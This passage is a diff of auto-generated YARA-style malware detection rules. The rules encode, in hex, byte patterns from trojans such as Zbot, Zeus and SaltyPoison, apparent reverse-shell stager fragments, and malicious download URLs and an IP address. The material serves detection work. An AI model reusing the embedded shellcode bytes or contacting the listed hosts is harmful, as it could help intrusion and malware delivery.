10 56 57 68 c2 db 37 67 ff d5 85 c0 0f 85 58 00 00 00 57 68 b7 e9 38 ff ff d5 57 68 74 ec 3b e1 ff d5 90 00 64 00 5e 01 6a 00 6a 04 56 57 68 02 d9 c8 5f ff d5 83 f8 00 7e 2d 8b 36 6a 40 68 00 10 00 00 56 6a 00 68 58 a4 53 e5 ff d5 93 53 6a 00 56 53 57 68 02 d9 c8 5f ff d5 83 f8 00 7e 07 01 c3 29 c6 75 e9 c3 bb e0 1d 2a 0a 68 a6 95 bd 9d ff d5 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a 00 53 ff d5 00 00 78 01 01 00 01 00 01 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 69 73 74 72 69 78 2e 44 21 64 68 61 00 01 00 2a 03 5b 2f 4e 32 2e 30 2d 90 01 01 30 32 78 2e 25 30 32 78 2e 25 30 32 78 2e 25 90 01 01 32 78 3a 25 30 31 30 78 5d 00 00 00 90 00 01 00 23 03 5d 00 00 00 2a 2e 70 31 32 90 01 01 00 00 } //-7969 - $a_63_8 = {00 00 00 2a 2e 76 6d 64 6b 90 01 01 00 2a 90 00 01 00 3a 03 5c 50 72 6f 67 72 61 6d 44 61 90 01 01 61 5c 41 64 6f 62 65 5c 41 64 6f 62 65 41 72 6d 5c 73 79 73 64 6c 6c 32 2e 74 78 90 01 01 00 53 59 53 54 45 4d 44 52 49 56 45 00 90 00 01 00 3e 03 0f b7 45 f2 0f b7 4d f0 0f b7 55 e8 50 0f b7 45 ea 51 0f b7 4d ee 52 50 51 8d 95 90 01 04 52 53 8d 85 } //11818 - $a_ff_9 = {90 01 04 50 ff 15 90 01 04 83 c4 24 8d 8d 98 fc ff ff 51 ff 15 90 00 00 00 78 01 01 00 01 00 01 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 4b 65 65 54 68 69 65 66 00 01 00 24 80 01 33 39 61 61 36 66 39 33 2d 61 31 63 39 2d 34 39 37 66 2d 62 61 64 32 2d 63 63 34 32 61 36 31 64 35 37 31 30 01 00 24 80 01 33 66 63 61 38 30 31 32 2d 33 62 61 64 2d 34 31 65 34 2d 39 31 66 34 2d 35 33 34 61 61 39 61 34 34 66 39 36 01 00 24 80 01 65 61 39 32 66 31 65 36 2d 33 66 33 34 2d 34 38 66 38 2d 38 62 30 61 2d 66 32 62 62 63 31 39 32 32 30 65 66 01 00 24 80 01 63 32 33 62 35 31 63 34 2d 32 34 37 35 2d 34 66 63 36 2d 39 62 33 61 2d 32 37 64 30 61 32 62 39 39 62 30 66 01 00 24 80 01 38 30 62 61 36 33 61 } //-872 - $a_64_10 = {31 2d 34 30 65 39 2d 61 37 32 32 2d 36 64 64 35 38 62 32 38 62 66 37 65 00 00 78 01 01 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 } //11572 - $a_6c_11 = {69 70 6f 70 5f 43 68 65 63 6b 5f 41 52 47 00 01 00 1f 03 3c 30 74 0e 80 90 01 01 01 3a 74 08 3c 33 74 04 33 90 01 01 eb 05 90 01 01 01 00 00 00 90 00 01 00 1c 03 3c 30 74 0e 80 90 01 01 01 3a 74 08 3c 33 74 04 32 90 01 01 eb 02 90 01 01 01 90 00 01 00 29 03 3c 30 74 11 80 90 01 01 01 3a 74 0b 90 03 02 02 c7 45 c6 85 90 01 01 00 00 } //19503 - $a_33_12 = {07 90 03 02 02 c7 45 c6 85 90 00 01 00 1f 03 3c 30 74 0d 80 90 01 01 01 3a 74 07 90 03 01 01 89 88 5d 90 01 01 3c 33 75 90 01 04 01 90 00 01 00 21 03 3c 30 74 10 80 90 01 01 01 3a } //0 - $a_90_13 = {01 83 00 00 00 3c 33 75 07 c6 85 83 00 00 00 01 90 00 01 00 16 01 80 f9 30 74 0f 80 7e 01 3a 74 09 80 f9 33 74 04 32 c9 eb 02 b1 01 00 00 78 01 01 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 42 34 21 4d 54 42 00 02 00 d3 02 8b 45 0c 89 45 90 01 01 c7 45 90 01 01 90 01 04 eb 09 8b 4d 90 1b 01 83 c1 04 89 4d 90 1b 01 8b 55 90 1b 01 3b 55 90 1b 00 0f } //2676 + $a_61_2 = {74 01 00 09 81 01 70 72 6f 63 51 6c 6f 6f 70 01 00 0b 81 01 64 6f 77 6e 77 64 5f 66 69 6c 65 01 00 0b 81 01 64 65 6c 5f 61 63 63 6f 75 6e 74 00 00 78 00 01 00 14 00 14 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 } //25970 + $a_6f_3 = {65 52 75 6e 6e 65 72 2e 4b 4b 41 21 4d 54 42 00 08 00 8b 01 48 8b 44 24 48 48 8b 0d 4e ec 09 00 48 89 08 48 8b 44 24 48 48 c7 40 08 00 00 00 00 48 8b 44 24 48 48 8b 8c 24 b0 00 00 00 48 89 48 10 48 8b 44 24 48 8b 8c 24 b8 00 00 00 89 48 18 48 8b 44 24 48 48 8b 8c 24 a0 00 00 00 48 89 48 20 48 8b } //27756 + $a_8b_4 = {24 a8 00 00 00 89 48 1c 48 8b 44 24 48 8b 4c 24 54 89 48 28 48 8b 44 24 48 48 89 05 e6 eb 09 00 48 8b 44 24 48 48 83 c0 2c 41 b8 04 00 00 00 ba fd 00 00 00 48 8b c8 07 00 1e 01 0f b6 16 48 8d 76 01 8b c1 c1 e9 08 48 } //9284 + $a_b6_5 = {41 33 8c 81 f0 f1 15 00 48 83 ed 01 05 00 18 } //-12237 + $a_ec_6 = {00 00 00 4c 8d 05 52 55 15 00 33 d2 33 c9 ff 15 88 fc 11 00 00 00 78 00 01 00 28 00 28 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 61 79 6e 61 6d 65 72 2e 53 58 21 4d 54 42 00 14 00 3d 03 89 44 24 50 44 8b 44 24 50 33 d2 b9 10 00 00 00 ff 15 90 01 04 48 89 84 24 b0 00 00 00 45 33 c0 48 8b 94 24 b0 00 00 00 48 8b 8c 24 c0 00 00 00 ff 54 24 20 ff 94 24 b8 00 00 } //18433 + $a_c6_8 = {24 } //19712 $ + $a_44_9 = {59 75 c6 44 24 5a 65 c6 44 24 5b 75 c6 44 24 5c 65 c6 44 24 5d 55 c6 44 24 5e 73 c6 44 24 5f 65 c6 44 24 60 72 c6 44 24 61 41 c6 44 24 62 50 c6 44 24 63 43 c6 44 24 64 00 48 8d 54 24 58 48 8b 4c 24 38 ff 15 0a 00 3f 01 33 d2 48 8b 04 24 48 f7 74 24 08 48 8b c2 48 8b 4c 24 10 0f be 04 01 48 8b 0c 24 48 8b 54 24 30 48 03 d1 48 8b ca 0f be 09 33 c8 8b c1 48 8b 0c 24 48 8b 54 24 30 48 03 d1 48 8b ca 88 01 e9 00 00 78 00 01 00 5f 00 5b 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 53 49 42 21 4d 54 42 00 50 00 2d 02 77 } //20824 + $a_00_11 = {61 00 79 00 6c 00 69 00 61 00 6f 00 2e 00 63 00 6f 00 6d 00 2f 00 [0-0a] 2e 00 65 00 78 00 65 00 90 00 50 00 19 02 77 77 77 2e 73 61 79 6c 69 61 6f 2e 63 6f 6d 2f [0-0a] 2e 65 78 65 90 00 05 00 2f 02 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 [0-0a] 2e 00 65 00 78 00 65 00 } //46 + $a_02_12 = {43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c [0-0a] 2e 65 78 65 } //5 + $a_80_13 = {57 69 6e 45 78 65 63 } //WinExec 5 condition: - ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*29295+(#a_61_2 & 1)*25970+(#a_6e_3 & 1)*22330+(#a_00_5 & 1)*111+(#a_73_6 & 1)*25700+(#a_d5_7 & 1)*-7969+(#a_63_8 & 1)*11818+(#a_ff_9 & 1)*-872+(#a_64_10 & 1)*11572+(#a_6c_11 & 1)*19503+(#a_33_12 & 1)*0+(#a_90_13 & 1)*2676) >=13 + ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*29295+(#a_61_2 & 1)*25970+(#a_6f_3 & 1)*27756+(#a_8b_4 & 1)*9284+(#a_b6_5 & 1)*-12237+(#a_ec_6 & 1)*18433+(#a_c6_8 & 1)*19712+(#a_44_9 & 1)*20824+(#a_00_11 & 1)*46+(#a_02_12 & 1)*5+(#a_80_13 & 1)*5) >=13 } -rule _InfrastructureShared_16131{ +rule _InfrastructureShared_17190{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 4b 4b 41 21 4d 54 42 00 08 00 8b 01 48 8b 44 24 48 48 8b 0d 4e ec 09 00 48 89 08 48 8b 44 24 48 48 c7 40 08 00 00 00 00 } //21539 + $a_24_1 = {48 8b 8c 24 b0 00 00 00 48 89 48 10 48 8b 44 24 48 8b 8c 24 b8 00 00 00 89 48 18 48 8b 44 24 48 48 8b 8c 24 a0 00 00 00 48 89 48 20 48 8b 44 24 48 8b 8c 24 a8 00 00 00 89 48 1c 48 8b 44 24 48 8b 4c 24 54 } //-29880 + $a_48_2 = {44 24 48 48 89 05 e6 eb 09 00 48 8b 44 24 48 48 83 c0 2c 41 b8 04 00 00 00 ba fd 00 00 00 48 8b c8 07 00 1e 01 0f b6 16 } //18569 + condition: + ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*-29880+(#a_48_2 & 1)*18569) >=20 + +} +rule _InfrastructureShared_17191{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 61 79 6e 61 6d 65 72 2e 53 58 21 4d 54 42 00 14 00 3d 03 89 44 24 50 44 8b 44 24 50 33 d2 b9 10 00 00 00 ff 15 90 01 04 48 89 84 24 b0 00 00 00 45 33 c0 48 8b 94 24 } //21539 + $a_24_2 = {00 00 00 ff 54 24 20 ff 94 24 b8 00 00 00 90 00 0a 00 4d 01 c6 44 24 58 51 c6 44 24 59 75 c6 44 24 5a 65 c6 44 24 5b 75 c6 44 24 5c 65 c6 44 24 5d 55 c6 44 24 5e 73 c6 44 24 5f 65 c6 44 24 60 72 c6 44 24 61 41 c6 44 24 62 50 c6 44 24 63 43 c6 44 24 64 00 48 8d 54 24 58 48 8b 4c 24 38 ff 15 0a 00 3f 01 33 d2 48 8b 04 24 48 f7 74 24 08 48 8b c2 48 8b 4c 24 10 0f be 04 01 48 8b 0c 24 48 8b 54 24 30 48 03 d1 48 8b ca 0f } //-29880 + condition: + ((#a_4c_0 & 1)*21539+(#a_24_2 & 1)*-29880) >=40 + +} +rule _InfrastructureShared_17192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,5f 00 5b 00 07 00 21 " @@ -188979,7 +201648,7 @@ rule _InfrastructureShared_16131{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2562+(#a_00_3 & 1)*111+(#a_73_4 & 1)*25700+(#a_d5_5 & 1)*-7969+(#a_63_6 & 1)*11818) >=91 } -rule _InfrastructureShared_16132{ +rule _InfrastructureShared_17193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -188989,7 +201658,7 @@ rule _InfrastructureShared_16132{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_16133{ +rule _InfrastructureShared_17194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -189002,7 +201671,7 @@ rule _InfrastructureShared_16133{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=1 } -rule _InfrastructureShared_16134{ +rule _InfrastructureShared_17195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -189016,7 +201685,7 @@ rule _InfrastructureShared_16134{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*12599+(#a_65_2 & 1)*26162+(#a_39_3 & 1)*13923+(#a_38_4 & 1)*25700) >=1 } -rule _InfrastructureShared_16135{ +rule _InfrastructureShared_17196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -189031,7 +201700,7 @@ rule _InfrastructureShared_16135{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*15368+(#a_85_2 & 1)*17863+(#a_01_3 & 1)*257+(#a_12_4 & 1)*-28595+(#a_6a_5 & 1)*29268) >=1 } -rule _InfrastructureShared_16136{ +rule _InfrastructureShared_17197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -189041,7 +201710,7 @@ rule _InfrastructureShared_16136{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_16137{ +rule _InfrastructureShared_17198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -189052,7 +201721,7 @@ rule _InfrastructureShared_16137{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*400) >=2 } -rule _InfrastructureShared_16138{ +rule _InfrastructureShared_17199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -189062,7 +201731,7 @@ rule _InfrastructureShared_16138{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_16139{ +rule _InfrastructureShared_17200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -189073,7 +201742,7 @@ rule _InfrastructureShared_16139{ ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*5654) >=2 } -rule _InfrastructureShared_16140{ +rule _InfrastructureShared_17201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -189081,12 +201750,25 @@ rule _InfrastructureShared_16140{ $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 4e 5f 64 69 73 63 6c 6f 73 65 64 5f 32 30 31 38 30 32 30 38 5f 53 79 73 74 65 6d 33 00 01 00 38 03 57 00 6d 00 69 00 50 00 72 00 76 00 53 00 45 00 2e 00 65 00 78 00 65 00 90 } //16675 $a_30_1 = {39 41 2d 5a 61 2d 7a 90 09 } //300 $a_2c_2 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 1b 01 43 3a 5c 55 73 65 72 73 5c 73 67 6c 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 01 00 1c 01 54 65 6d 70 6f 72 61 72 79 20 50 72 6f 6a 65 63 74 73 5c 57 6d 69 50 72 76 53 45 5c 01 00 45 03 24 31 35 61 33 32 61 35 64 2d 34 39 30 36 2d 34 35 38 61 2d 38 66 35 37 2d 34 30 32 33 31 31 61 66 63 31 63 31 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 } //2 - $a_00_3 = {00 00 78 01 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 6d 75 67 2e 41 00 01 00 50 01 5b 00 2b 00 5d 00 3a 00 20 00 46 00 69 00 72 00 73 00 74 00 20 00 73 00 74 00 61 00 67 00 65 00 20 00 67 00 61 00 64 00 67 00 65 00 74 00 20 00 67 00 65 00 6e 00 65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 20 00 64 00 6f 00 6e 00 65 00 2e 00 01 00 52 01 5b 00 2b 00 5d 00 3a 00 20 00 53 00 65 00 63 00 6f } //14637 + $a_00_3 = {00 00 78 01 01 00 02 00 02 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 61 6c 74 79 50 6f 69 73 6f 6e 2e 42 21 64 68 61 00 01 00 18 01 00 00 73 00 76 00 6d 00 61 00 69 00 6e 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 01 00 00 53 00 56 00 4b 00 65 00 72 00 6e 00 65 00 6c 00 2e 00 65 00 78 00 65 00 00 00 01 00 18 01 73 00 74 00 73 00 74 00 64 00 69 00 32 00 2e 00 73 00 79 00 73 00 00 00 01 00 18 01 00 00 53 } //14637 condition: ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_2c_2 & 1)*2+(#a_00_3 & 1)*14637) >=2 } -rule _InfrastructureShared_16141{ +rule _InfrastructureShared_17202{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 61 6c 74 79 50 6f 69 73 6f 6e 2e 42 21 64 68 61 00 01 00 18 01 00 00 73 00 76 00 6d 00 61 00 69 00 6e 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 01 00 00 53 00 56 00 4b 00 65 00 72 00 6e } //16675 + $a_00_2 = {78 00 65 00 00 00 01 00 18 01 73 00 74 00 73 00 74 00 64 00 69 00 32 00 2e 00 73 00 79 00 73 00 00 00 01 00 18 01 00 00 53 00 56 00 48 00 6f 00 6f 00 6b 00 2e 00 73 00 79 00 73 00 00 00 01 00 1c 01 00 00 53 00 56 00 55 00 70 00 64 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 00 00 01 00 1e 01 00 00 53 } //46 + $a_00_4 = {66 00 55 00 70 00 64 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 01 00 00 53 00 56 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 64 00 6c 00 6c 00 00 00 00 00 78 01 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 6d 75 67 2e 41 00 01 00 50 01 5b 00 2b 00 5d 00 3a 00 20 00 46 } //105 + $a_00_6 = {20 00 73 00 74 00 61 00 67 00 65 00 20 00 67 00 61 00 64 00 67 00 65 00 74 00 20 00 67 00 65 00 6e 00 65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 20 00 64 00 6f 00 6e 00 65 00 2e 00 01 00 52 01 5b 00 2b 00 5d 00 3a 00 20 00 53 00 65 00 63 00 6f 00 6e 00 64 00 20 00 73 00 74 00 61 00 67 00 65 00 20 00 67 00 61 00 64 00 67 00 65 00 74 00 20 00 67 00 } //115 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46+(#a_00_4 & 1)*105+(#a_00_6 & 1)*115) >=2 + +} +rule _InfrastructureShared_17203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189097,7 +201779,7 @@ rule _InfrastructureShared_16141{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_16142{ +rule _InfrastructureShared_17204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189109,7 +201791,7 @@ rule _InfrastructureShared_16142{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-7807+(#a_b9_2 & 1)*1025) >=3 } -rule _InfrastructureShared_16143{ +rule _InfrastructureShared_17205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189121,7 +201803,7 @@ rule _InfrastructureShared_16143{ ((#a_54_0 & 1)*18467+(#a_7f_1 & 1)*6181+(#a_16_2 & 1)*-490) >=3 } -rule _InfrastructureShared_16144{ +rule _InfrastructureShared_17206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189133,7 +201815,7 @@ rule _InfrastructureShared_16144{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*6181+(#a_16_2 & 1)*-490) >=3 } -rule _InfrastructureShared_16145{ +rule _InfrastructureShared_17207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189145,7 +201827,7 @@ rule _InfrastructureShared_16145{ ((#a_54_0 & 1)*18467+(#a_e3_1 & 1)*6181+(#a_16_2 & 1)*-490) >=3 } -rule _InfrastructureShared_16146{ +rule _InfrastructureShared_17208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189157,19 +201839,47 @@ rule _InfrastructureShared_16146{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*6181+(#a_16_2 & 1)*-490) >=3 } -rule _InfrastructureShared_16147{ +rule _InfrastructureShared_17209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4b 44 44 51 31 32 33 21 4d 54 42 00 01 00 78 01 57 df a2 3f 09 1e 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 75 00 00 00 53 00 00 00 44 01 00 00 13 02 00 00 b4 01 00 00 17 00 00 00 3f } //18467 $a_00_2 = {00 00 01 00 00 00 04 00 00 00 45 00 00 00 08 00 00 00 10 00 00 00 15 00 00 00 14 00 00 00 01 00 00 00 51 00 00 00 03 00 00 00 03 00 00 00 01 00 00 00 09 00 00 00 15 00 00 00 08 00 00 00 36 00 00 00 01 00 0d 81 01 45 6e 67 69 6e 65 4c 69 62 72 61 72 79 01 00 1d 81 01 45 72 61 } //0 - $a_67_3 = {6e 65 20 73 63 72 69 70 74 69 6e 67 20 6c 69 62 72 61 72 79 2e 01 00 1c 81 01 3c 44 65 73 65 72 69 61 6c 69 7a 65 50 72 65 66 61 62 41 73 79 6e 63 3e 64 5f 5f 34 00 00 78 01 01 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 4d 4b 32 39 21 4d 54 42 00 03 00 28 } //17696 + $a_67_3 = {6e 65 20 73 63 72 69 70 74 69 6e 67 20 6c 69 62 72 61 72 79 2e 01 00 1c 81 01 3c 44 65 73 65 72 69 61 6c 69 7a 65 50 72 65 66 61 62 41 73 79 6e 63 3e 64 5f 5f 34 00 00 78 01 01 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 75 73 2e 5a 42 21 4d 54 42 00 01 00 16 01 28 21 7c 26 7c 64 61 74 61 } //17696 condition: ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0+(#a_67_3 & 1)*17696) >=4 } -rule _InfrastructureShared_16148{ +rule _InfrastructureShared_17210{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 75 73 2e 5a 42 21 4d 54 42 00 01 00 16 01 28 21 7c 26 7c 64 61 74 61 5f 29 69 6e 6a 65 63 74 28 3d 6f 6b 29 01 00 35 01 73 6f 66 74 77 61 72 65 5c 6d 69 63 72 6f } //21539 + $a_74_1 = {77 69 6e 64 6f 77 73 20 6e 74 5c 63 75 72 72 65 6e 74 76 65 72 73 69 6f 6e 5c 77 69 6e 6c 6f 67 6f 6e 01 00 3b 01 69 64 3d 25 73 26 76 65 72 3d 34 2e 30 2e 31 26 75 70 3d 25 75 26 6f 73 3d 25 30 33 75 26 72 69 67 68 74 73 3d 25 73 26 6c 74 69 6d 65 3d 25 73 25 64 26 74 6f 6b 65 6e 3d 25 64 01 00 39 01 63 } //28531 + $a_61_2 = {64 3d 61 75 74 68 5f 6c 6f 67 69 6e 42 79 50 61 73 73 77 6f 72 64 26 62 61 63 6b 5f 63 6f 6d 6d 61 6e 64 3d 26 62 61 63 6b 5f 63 75 73 74 6f 6d 31 3d 26 01 00 07 00 42 6f 74 56 65 72 3a 00 00 78 01 01 00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 6f 72 65 6c 6c 69 53 6c 61 79 2e 41 00 01 00 } //28015 + $a_3a_4 = {25 64 20 7c 20 6d 69 6e 20 25 64 20 7c 20 6d 61 6a 6f 72 20 25 64 20 0d 0a 00 01 00 13 01 00 43 72 65 61 74 65 64 20 64 72 76 3a 20 25 78 0d 0a 00 01 00 17 01 00 53 75 73 70 65 6e 64 69 6e 67 20 70 72 6f 63 73 2e 2e 2e 0d 0a 00 01 00 2c 01 00 00 4d 00 61 00 6e 00 61 00 67 00 65 00 64 00 41 00 6e 00 } //27753 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*28531+(#a_61_2 & 1)*28015+(#a_3a_4 & 1)*27753) >=5 + +} +rule _InfrastructureShared_17211{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 6f 72 65 6c 6c 69 53 6c 61 79 2e 41 00 01 00 22 01 00 42 75 69 6c 64 3a 20 25 64 20 7c 20 6d 69 6e 20 25 64 20 7c 20 6d 61 6a 6f 72 20 25 64 20 0d 0a 00 01 00 13 01 00 43 72 65 61 74 65 } //16675 + $a_72_1 = {3a 20 25 78 0d 0a 00 01 00 17 01 00 53 75 73 70 65 6e 64 69 6e 67 20 70 72 6f 63 73 2e 2e 2e 0d 0a 00 01 00 2c 01 00 00 4d 00 61 00 6e 00 61 00 67 00 65 00 64 00 41 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 01 00 00 43 00 53 00 41 00 67 00 65 00 6e 00 } //8292 + $a_00_2 = {65 00 78 00 65 00 00 00 01 00 2e 01 00 00 53 00 6f 00 70 00 68 00 6f 00 73 00 46 00 69 00 6c 00 65 00 53 00 63 00 61 00 6e 00 6e 00 65 00 } //116 + $a_00_3 = {65 00 78 00 65 00 00 00 00 00 78 01 01 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //114 + $a_2e_4 = {54 4d 4b 32 39 21 4d 54 42 00 03 00 28 80 01 68 74 74 70 3a 2f 2f 76 69 6e 6f 73 62 69 6f 64 69 6e 61 6d 69 63 6f 73 2e 63 6f 6d 2f 4d 75 67 6b 69 61 61 2e 64 61 74 03 00 22 80 01 68 74 74 70 3a 2f 2f 72 65 76 69 74 61 70 65 2e 63 6f 6d 2f 67 64 79 2f 4a 66 70 6e 61 6d 2e 62 6d 70 03 00 27 } //27763 + $a_74_5 = {70 3a 2f 2f 31 30 33 2e 32 30 37 2e 33 39 2e 31 35 34 2f 33 30 34 30 2f 4e 6c 68 67 62 66 62 2e 6a 70 65 67 02 00 18 80 01 46 62 78 69 66 73 66 6b 77 65 69 65 68 6e 6e 76 79 77 71 63 76 6a 6b 79 02 00 11 80 01 46 79 74 79 76 78 6b 6e 79 79 75 6d 6f 6d 76 6d 6b 02 00 18 80 01 4f 6a 61 77 70 62 62 71 7a 72 71 7a } //384 + condition: + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*8292+(#a_00_2 & 1)*116+(#a_00_3 & 1)*114+(#a_2e_4 & 1)*27763+(#a_74_5 & 1)*384) >=5 + +} +rule _InfrastructureShared_17212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -189183,7 +201893,7 @@ rule _InfrastructureShared_16148{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*384+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_01_4 & 1)*0) >=5 } -rule _InfrastructureShared_16149{ +rule _InfrastructureShared_17213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -189197,7 +201907,7 @@ rule _InfrastructureShared_16149{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*68+(#a_00_3 & 1)*97+(#a_00_5 & 1)*108+(#a_54_6 & 1)*17996) >=5 } -rule _InfrastructureShared_16150{ +rule _InfrastructureShared_17214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -189212,7 +201922,7 @@ rule _InfrastructureShared_16150{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25964+(#a_66_2 & 1)*25700+(#a_20_3 & 1)*28521+(#a_01_4 & 1)*25972+(#a_6e_5 